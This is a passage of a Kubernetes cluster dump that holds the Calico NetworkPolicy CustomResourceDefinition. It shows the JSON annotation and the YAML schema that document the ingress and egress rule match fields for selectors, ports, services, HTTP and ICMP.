match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"}},"required":["action"],"type":"object"},"type":"array"},"ingress":{"description":"The ordered set of ingress rules.  Each rule contains a set of packet match criteria and\na corresponding action to apply.","items":{"description":"A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy\nand security Profiles reference rules - separated out as a list of rules for both\ningress and egress packet matching.\n\nEach positive match criteria has a negated version, prefixed with \"Not\". All the match\ncriteria within a rule must be satisfied for a packet to match. A single rule can contain\nthe positive and negative version of a match and both must be satisfied for the rule to match.","properties":{"action":{"type":"string"},"destination":{"description":"Destination contains the match criteria that apply to destination entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"},"http":{"description":"HTTP contains match criteria that apply to HTTP requests.","properties":{"methods":{"description":"Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed\nHTTP Methods (e.g. GET, PUT, etc.)\nMultiple methods are OR'd together.","items":{"type":"string"},"type":"array"},"paths":{"description":"Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed\nHTTP Paths.\nMultiple paths are OR'd together.\ne.g:\n- exact: /foo\n- prefix: /bar\nNOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.","items":{"description":"HTTPPath specifies an HTTP path to match. It may be either of the form:\nexact: \u003cpath\u003e: which matches the path exactly or\nprefix: \u003cpath-prefix\u003e: which matches the path prefix","properties":{"exact":{"type":"string"},"prefix":{"type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"icmp":{"description":"ICMP is an optional field that restricts the rule to apply to a specific type and\ncode of ICMP traffic.  This should only be specified if the Protocol field is set to\n\"ICMP\" or \"ICMPv6\".","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"ipVersion":{"description":"IPVersion is an optional field that restricts the rule to only match a specific IP\nversion.","type":"integer"},"metadata":{"description":"Metadata contains additional information for this rule","properties":{"annotations":{"additionalProperties":{"type":"string"},"description":"Annotations is a set of key value pairs that give extra information about the rule","type":"object"}},"type":"object"},"notICMP":{"description":"NotICMP is the negated version of the ICMP field.","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"notProtocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"NotProtocol is the negated version of the Protocol field.","pattern":"^.*","x-kubernetes-int-or-string":true},"protocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Protocol is an optional field that restricts the rule to only apply to traffic of\na specific IP protocol. Required if any of the EntityRules contain Ports\n(because ports only apply to certain protocols).\n\nMust be one of these string values: \"TCP\", \"UDP\", \"ICMP\", \"ICMPv6\", \"SCTP\", \"UDPLite\"\nor an integer in the range 1-255.","pattern":"^.*","x-kubernetes-int-or-string":true},"source":{"description":"Source contains the match criteria that apply to source entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"}},"required":["action"],"type":"object"},"type":"array"},"order":{"description":"Order is an optional field that specifies the order in which the policy is applied.\nPolicies with higher \"order\" are applied after those with lower\norder within the same tier.  If the order is omitted, it may be considered to be \"infinite\" - i.e. the\npolicy will be applied last.  Policies with identical order will be applied in\nalphanumerical order based on the Policy \"Name\" within the tier.","type":"number"},"performanceHints":{"description":"PerformanceHints contains a list of hints to Calico's policy engine to\nhelp process the policy more efficiently.  Hints never change the\nenforcement behaviour of the policy.\n\nCurrently, the only available hint is \"AssumeNeededOnEveryNode\".  When\nthat hint is set on a policy, Felix will act as if the policy matches\na local endpoint even if it does not. This is useful for \"preloading\"\nany large static policies that are known to be used on every node.\nIf the policy is _not_ used on a particular node then the work\ndone to preload the policy (and to maintain it) is wasted.","items":{"type":"string"},"type":"array"},"selector":{"description":"The selector is an expression used to pick out the endpoints that the policy should\nbe applied to.\n\nSelector expressions follow this syntax:\n\n\tlabel == \"string_literal\"  -\u003e  comparison, e.g. my_label == \"foo bar\"\n\tlabel != \"string_literal\"   -\u003e  not equal; also matches if label is not present\n\tlabel in { \"a\", \"b\", \"c\", ... }  -\u003e  true if the value of label X is one of \"a\", \"b\", \"c\"\n\tlabel not in { \"a\", \"b\", \"c\", ... }  -\u003e  true if the value of label X is not one of \"a\", \"b\", \"c\"\n\thas(label_name)  -\u003e True if that label is present\n\t! expr -\u003e negation of expr\n\texpr \u0026\u0026 expr  -\u003e Short-circuit and\n\texpr || expr  -\u003e Short-circuit or\n\t( expr ) -\u003e parens for grouping\n\tall() or the empty selector -\u003e matches all endpoints.\n\nLabel names are allowed to contain alphanumerics, -, _ and /. String literals are more permissive\nbut they do not support escape characters.\n\nExamples (with made-up labels):\n\n\ttype == \"webserver\" \u0026\u0026 deployment == \"prod\"\n\ttype in {\"frontend\", \"backend\"}\n\tdeployment != \"dev\"\n\t! has(label_name)","type":"string"},"serviceAccountSelector":{"description":"ServiceAccountSelector is an optional field for an expression used to select a pod based on service accounts.","type":"string"},"tier":{"description":"The name of the tier that this policy belongs to.  If this is omitted, the default\ntier (name is \"default\") is assumed.  The specified tier must exist in order to create\nsecurity policies within the tier, the \"default\" tier is created automatically if it\ndoes not exist, this means for deployments requiring only a single Tier, the tier name\nmay be omitted on all policy management requests.","type":"string"},"types":{"description":"Types indicates whether this policy applies to ingress, or to egress, or to both.  When\nnot explicitly specified (and so the value on creation is empty or nil), Calico defaults\nTypes according to what Ingress and Egress are present in the policy.  The\ndefault is:\n\n- [ PolicyTypeIngress ], if there are no Egress rules (including the case where there are\n  also no Ingress rules)\n\n- [ PolicyTypeEgress ], if there are Egress rules but no Ingress rules\n\n- [ PolicyTypeIngress, PolicyTypeEgress ], if there are both Ingress and Egress rules.\n\nWhen the policy is read back again, Types will always be one of these values, never empty\nor nil.","items":{"description":"PolicyType enumerates the possible values of the PolicySpec Types field.","type":"string"},"type":"array"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:51Z"
    generation: 3
    name: networkpolicies.crd.projectcalico.org
    resourceVersion: "6820705"
    uid: 87f9367b-d5d6-45b5-8b25-03207fad24d4
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: NetworkPolicy
      listKind: NetworkPolicyList
      plural: networkpolicies
      singular: networkpolicy
    scope: Namespaced
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              properties:
                egress:
                  description: |-
                    The ordered set of egress rules.  Each rule contains a set of packet match criteria and
                    a corresponding action to apply.
                  items:
                    description: |-
                      A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy
                      and security Profiles reference rules - separated out as a list of rules for both
                      ingress and egress packet matching.

                      Each positive match criteria has a negated version, prefixed with "Not". All the match
                      criteria within a rule must be satisfied for a packet to match. A single rule can contain
                      the positive and negative version of a match and both must be satisfied for the rule to match.
                    properties:
                      action:
                        type: string
                      destination:
                        description: Destination contains the match criteria that
                          apply to destination entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                      http:
                        description: HTTP contains match criteria that apply to HTTP
                          requests.
                        properties:
                          methods:
                            description: |-
                              Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed
                              HTTP Methods (e.g. GET, PUT, etc.)
                              Multiple methods are OR'd together.
                            items:
                              type: string
                            type: array
                          paths:
                            description: |-
                              Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed
                              HTTP Paths.
                              Multiple paths are OR'd together.
                              e.g:
                              - exact: /foo
                              - prefix: /bar
                              NOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.
                            items:
                              description: |-
                                HTTPPath specifies an HTTP path to match. It may be either of the form:
                                exact: <path>: which matches the path exactly or
                                prefix: <path-prefix>: which matches the path prefix
                              properties:
                                exact:
                                  type: string
                                prefix:
                                  type: string
                              type: object
                            type: array
                        type: object
                      icmp:
                        description: |-
                          ICMP is an optional field that restricts the rule to apply to a specific type and
                          code of ICMP traffic.  This should only be specified if the Protocol field is set to
                          "ICMP" or "ICMPv6".
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      ipVersion:
                        description: |-
                          IPVersion is an optional field that restricts the rule to only match a specific IP
                          version.
                        type: integer
                      metadata:
                        description: Metadata contains additional information for
                          this rule
                        properties:
                          annotations:
                            additionalProperties:
                              type: string
                            description: Annotations is a set of key value pairs that
                              give extra information about the rule
                            type: object
                        type: object
                      notICMP:
                        description: NotICMP is the negated version of the ICMP field.
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      notProtocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: NotProtocol is the negated version of the Protocol
                          field.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      protocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: |-
                          Protocol is an optional field that restricts the rule to only apply to traffic of
                          a specific IP protocol. Required if any of the EntityRules contain Ports
                          (because ports only apply to certain protocols).

                          Must be one of these string values: "TCP", "UDP", "ICMP", "ICMPv6", "SCTP", "UDPLite"
                          or an integer in the range 1-255.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      source:
                        description: Source contains the match criteria that apply
                          to source entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                    required:
                    - action
                    type: object
                  type: array
                ingress:
                  description: |-
                    The ordered set of ingress rules.  Each rule contains a set of packet match criteria and
                    a corresponding action to apply.
                  items:
                    description: |-
                      A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy
                      and security Profiles reference rules - separated out as a list of rules for both
                      ingress and egress packet matching.

                      Each positive match criteria has a negated version, prefixed with "Not". All the match
                      criteria within a rule must be satisfied for a packet to match. A single rule can contain
                      the positive and negative version of a match and both must be satisfied for the rule to match.
                    properties:
                      action:
                        type: string
                      destination:
                        description: Destination contains the match criteria that
                          apply to destination entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                      http:
                        description: HTTP contains match criteria that apply to HTTP
                          requests.
                        properties:
                          methods:
                            description: |-
                              Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed
                              HTTP Methods (e.g. GET, PUT, etc.)
                              Multiple methods are OR'd together.
                            items:
                              type: string
                            type: array
                          paths:
                            description: |-
                              Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed
                              HTTP Paths.
                              Multiple paths are OR'd together.
                              e.g:
                              - exact: /foo
                              - prefix: /bar
                              NOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.
                            items:
                              description: |-
                                HTTPPath specifies an HTTP path to match. It may be either of the form:
                                exact: <path>: which matches the path exactly or
                                prefix: <path-prefix>: which matches the path prefix
                              properties:
                                exact:
                                  type: string
                                prefix:
                                  type: string
                              type: object
                            type: array
                        type: object
                      icmp:
                        description: |-
                          ICMP is an optional field that restricts the rule to apply to a specific type and
                          code of ICMP traffic.  This should only be specified if the Protocol field is set to
